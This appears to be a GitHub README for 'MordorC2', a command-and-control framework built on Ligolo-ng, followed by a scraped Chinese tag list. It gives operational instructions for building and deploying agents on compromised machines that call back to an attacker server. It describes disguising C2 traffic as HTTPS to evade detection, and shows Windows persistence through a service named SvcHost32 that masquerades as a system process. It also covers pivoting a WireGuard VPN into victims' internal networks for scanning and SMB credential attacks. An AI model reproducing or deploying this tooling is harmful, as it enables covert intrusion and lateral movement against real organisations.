osvaldotenorio/mordor-c2-framework
GitHub: osvaldotenorio/mordor-c2-framework
一个基于 Go 与 Ligolo-ng 构建的 C2 框架,通过 XTLS-REALITY 与 WireGuard 提供抗探测、透明内网穿透的命令与控制解决方案。
Stars: 0 | Forks: 0
# MordorC2
Framework C2 baseado em [Ligolo-ng](https://github.com/nicocha30/ligolo-ng) com:
- **Transporte XTLS-REALITY** — tráfego indistinguível de HTTPS legítimo para DPI e active probing
- **Web UI** completo — dashboard, builders, pivoting, listeners, logs de auditoria
- **VPN WireGuard integrada** — acesso transparente às redes internas dos agentes (sem proxychains)
## Arquitetura
```
[Atacante]
│ HTTPS (:8080) → Web UI / API
│ UDP (:51820) → WireGuard VPN ────────────────────────────┐
▼ │
[EC2 AWS — Mordor Server] │
├── ligolo-ng proxy (:11601 REALITY) │
├── WireGuard interface mordor-vpn (10.200.0.1/24) │
└── ip route: 192.168.x.x via ligolo-tun ◄───────────────────────-┘
▲
│ XTLS-REALITY (:11601)
│
[Agente na máquina comprometida]
└── NIC: 192.168.10.0/24 (rede interna do alvo)
```
**Portas públicas no servidor:**
| Porta | Protocolo | Descrição |
|-------|-----------|-----------|
| `8080` | TCP | Web UI + API REST |
| `8083` | TCP | Bootstrap — agente busca chave REALITY automaticamente |
| `11601` | TCP | REALITY — agentes conectam aqui |
| `51820` | **UDP** | WireGuard VPN — acesso transparente às redes internas |
## Pré-requisitos
**Servidor (EC2):**
- Linux com `NET_ADMIN` (para criar interfaces TUN/WireGuard)
- Go 1.22+ (para compilar)
- `wireguard-tools` (`sudo yum install -y wireguard-tools`)
- `iptables` (`sudo yum install -y iptables`)
**Atacante:**
- `wireguard-tools` (`sudo apt install wireguard-tools` ou equivalente)
## Setup do Servidor (EC2)
### 1. Clonar e compilar
```
git clone https://github.com/osvaldotenorio/mordorc2.git
cd mordorc2/mordor
# Compilar para ARM64 (t4g.*)
GOARCH=arm64 GOOS=linux CGO_ENABLED=0 go build -o dist/mordor-server ./server/main.go
# Compilar para amd64
GOARCH=amd64 GOOS=linux CGO_ENABLED=0 go build -o dist/mordor-server ./server/main.go
```
### 2. Configurar `mordor.yaml`
```
server:
listen: "0.0.0.0:8080"
secret: "mude-este-secret-para-producao"
ligolo:
binary: "./dist/ligolo-ng-proxy-linux_arm64"
listen: "0.0.0.0:11601"
api_listen: "127.0.0.1:11600"
username: "ligolo"
password: "senha-interna-ligolo"
config: "./configs/ligolo-ng.yaml"
db:
path: "./mordor.db"
builders:
ligolo_src: "../ligolo-ng"
output_dir: "./dist/agents"
wireguard:
enabled: true # habilitar VPN
interface: "mordor-vpn"
server_ip: "10.200.0.1/24"
listen_port: 51820
server_endpoint: "SEU_IP_EC2:51820" # ← preencher
subnet: "10.200.0.0/24"
config_path: "./configs/mordor-vpn.conf"
private_key: "" # gerado automaticamente na 1ª execução
```
### 3. Portas no Security Group
```
SG_ID=$(aws ec2 describe-instances --region us-east-1 \
--filters "Name=ip-address,Values=" \
--query "Reservations[0].Instances[0].SecurityGroups[0].GroupId" --output text)
# Web UI
aws ec2 authorize-security-group-ingress --region us-east-1 \
--group-id $SG_ID --protocol tcp --port 8080 --cidr 0.0.0.0/0
# Agentes REALITY
aws ec2 authorize-security-group-ingress --region us-east-1 \
--group-id $SG_ID --protocol tcp --port 11601 --cidr 0.0.0.0/0
# Bootstrap de configuração
aws ec2 authorize-security-group-ingress --region us-east-1 \
--group-id $SG_ID --protocol tcp --port 8083 --cidr 0.0.0.0/0
# WireGuard VPN
aws ec2 authorize-security-group-ingress --region us-east-1 \
--group-id $SG_ID --protocol udp --port 51820 --cidr 0.0.0.0/0
```
### 4. IP forwarding (obrigatório para VPN)
```
sudo sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward=1" | sudo tee /etc/sysctl.d/99-mordor.conf
```
### 5. Permissões e iniciar
```
chmod +x dist/mordor-server
sudo setcap cap_net_admin,cap_net_raw+ep dist/mordor-server
nohup ./dist/mordor-server --config ./configs/mordor.yaml > mordor.log 2>&1 &
```
Logs esperados:
```
level=info msg="WireGuard interface mordor-vpn up (port 51820)"
level=info msg="Mordor C2 API listening on 0.0.0.0:8080"
```
### 6. Criar operador inicial
Na primeira execução, o servidor cria automaticamente `admin:mordor`. Altere imediatamente via Web UI em **Settings → Access** ou via CLI:
```
./dist/mordor-server --config ./configs/mordor.yaml --create-user operador:senha
```
## Web UI
Acesse `http://:8080` no browser.
### Dashboard
- Mapa visual dos agentes conectados
- Lista de agentes com status, endereço remoto e interfaces de rede
- Gerenciador de listeners (port forwards)
- Audit log com operador, IP, ação, alvo e resultado
### Pivots
1. Clique em **Start Tunnel** no agente desejado
2. Clique em **Add Route** → informe a interface (`ligolo-tun`) e o CIDR (ex: `192.168.10.0/24`)
3. A rota aparece listada; o EC2 passa a rotear tráfego para aquela rede via o agente
### Builders
Gere binários do agente diretamente na UI:
| Campo | Exemplo |
|-------|---------|
| OS | `linux` / `windows` |
| Arch | `amd64` / `arm64` |
| Server | `3.84.115.79` |
| Port | `11601` |
O binário é gerado e baixado automaticamente. **Nenhuma configuração REALITY precisa ser passada** — o agente busca tudo do servidor em `http://:8083/api/v1/info`.
### Settings
- Configurar chaves REALITY (keygen automático)
- Ajustar endereço de escuta do proxy
- **VPN WireGuard** (ver seção abaixo)
## VPN WireGuard — Acesso Transparente
Com a VPN ativa, **qualquer ferramenta do atacante acessa as redes internas diretamente** — sem proxychains, sem SOCKS5.
```
ping 192.168.10.5 # funciona direto
nmap -sV 192.168.10.0/24
crackmapexec smb 192.168.10.0/24
curl http://192.168.10.80/
```
### Conectar à VPN
1. Acesse **Settings → VPN (WireGuard)** no Web UI
2. Clique em **Connect this machine**
3. O browser baixa `mordor-vpn.conf` automaticamente
4. Na sua máquina atacante:
```
sudo wg-quick up mordor-vpn.conf
# Verificar
ip addr show mordor-vpn # deve mostrar 10.200.0.x/32
ping 10.200.0.1 # EC2 respondendo
```
O arquivo `.conf` usa **split tunneling**: apenas o tráfego para a VPN subnet e as rotas pivot ativas passa pelo túnel. Seu tráfego normal de internet não é afetado.
### Re-download do config
Quando novas rotas de pivot forem adicionadas, re-baixe o config para incluí-las:
1. Settings → VPN → **Re-download config**
2. `sudo wg-quick down mordor-vpn.conf && sudo wg-quick up mordor-vpn.conf`
### Revogar acesso
Settings → VPN → **Revoke** remove o peer do servidor imediatamente.
## Deploy do Agente
### Gerar via Web UI (recomendado)
Acesse **Builders** → preencha OS/Arch/Server/Port → baixe o binário.
### Compilar manualmente
```
cd mordorc2/ligolo-ng
# Linux amd64
GOOS=linux GOARCH=amd64 go build -o dist/agent-linux_amd64 ./cmd/agent/main.go
# Windows amd64
GOOS=windows GOARCH=amd64 go build -o dist/agent-windows_amd64.exe ./cmd/agent/main.go
# Linux ARM64
GOOS=linux GOARCH=arm64 go build -o dist/agent-linux_arm64 ./cmd/agent/main.go
```
### Executar o agente
```
# Linux
./agent-linux_amd64 -connect :11601 -retry
# Windows (PowerShell)
.\agent-windows_amd64.exe -connect :11601 -retry
```
O agente faz bootstrap automático:
1. `GET http://:8083/api/v1/info` → recebe chave pública REALITY, SNI e short-id
2. Estabelece o tunnel com transporte REALITY (tráfego parece HTTPS para o `google.com`)
### Persistência (Windows)
```
sc.exe create SvcHost32 binpath= "C:\Windows\Temp\agent.exe -connect :11601 -retry" start= auto
sc.exe start SvcHost32
```
## Fluxo Completo de Operação
```
1. [Atacante] Browser → http://:8080
└── Login com operador/senha
2. [Atacante] Builders → gera agente para o alvo
3. [Alvo] Executa agente → aparece no Dashboard
4. [Dashboard] Start Tunnel → seleciona interface do agente
5. [Pivots] Add Route → ex: 192.168.10.0/24
6. [Settings → VPN] Connect this machine → baixa mordor-vpn.conf
7. [Atacante] sudo wg-quick up mordor-vpn.conf
8. [Atacante] Ferramentas funcionam diretamente:
- ping 192.168.10.5
- nmap -sV 192.168.10.0/24
- crackmapexec smb 192.168.10.0/24 -u admin -p senha
- ssh usuario@192.168.10.30
```
## Script de Automação (Atacante)
Salve como `connect-vpn.sh`:
```
#!/bin/bash
# Conecta à VPN MordorC2 e verifica o acesso
# Uso: ./connect-vpn.sh mordor-vpn.conf
set -e
CONF=${1:-mordor-vpn.conf}
if [[ ! -f "$CONF" ]]; then
echo "Arquivo $CONF não encontrado."
echo "Baixe em: http://:8080 → Settings → VPN → Connect this machine"
exit 1
fi
# Desconectar se já estiver conectado
sudo wg-quick down mordor-vpn 2>/dev/null || true
# Conectar
sudo wg-quick up "$CONF"
# Verificar
echo ""
echo "=== Interface VPN ==="
ip addr show mordor-vpn
echo ""
echo "=== Peers WireGuard ==="
sudo wg show mordor-vpn
echo ""
echo "=== Rotas ativas ==="
ip route | grep mordor-vpn
echo ""
echo "[OK] VPN conectada. Acesse as redes internas diretamente."
```
## Troubleshooting
**Agente não aparece no Dashboard:**
- Porta `11601` TCP aberta no SG? `nc -zv 11601`
- Bootstrap acessível? `curl http://:8083/api/v1/info`
**VPN não conecta (wg-quick up falha):**
- Porta `51820` UDP aberta no SG?
- `wireguard-tools` instalado? `which wg-quick`
- Config expirou? Re-baixe em Settings → VPN → Re-download config
**Ping para rede interna falha após VPN:**
- Túnel ligolo iniciado? Dashboard → Start Tunnel
- Rota adicionada? Pivots → Add Route com o CIDR correto
- Re-baixe o config VPN para incluir a nova rota: Settings → VPN → Re-download config
- Reinicie a VPN: `sudo wg-quick down mordor-vpn.conf && sudo wg-quick up mordor-vpn.conf`
**IP forwarding não persistiu após reboot:**
```
echo "net.ipv4.ip_forward=1" | sudo tee /etc/sysctl.d/99-mordor.conf
sudo sysctl -p /etc/sysctl.d/99-mordor.conf
```
**REALITY — verificar active probing protection:**
```
# Deve retornar HTML do Google (não um erro C2)
curl -sk https://:11601 | head -3
```
标签:BOF运行时, C2持久化, C2框架, ETW绕过, EVTX分析, HTTPS隧道, IP 地址批量处理, Ligolo-ng衍生, MordorC2, NTDLL卸载, SMB跳转, SOCKS5代理, T1002, T1040, T1055, T1056, T1071, Web仪表盘, WireGuard VPN, XTLS-REALITY, 云服务器C2, 伪装流量, 内部网络穿透, 可变形C2配置文件, 命令与控制, 多操作员RBAC, 安全学习资源, 审计日志, 无代理隧道, 日志审计, 流量混淆, 调用栈伪造, 邮件钓鱼, 间接系统调用, 防御绕过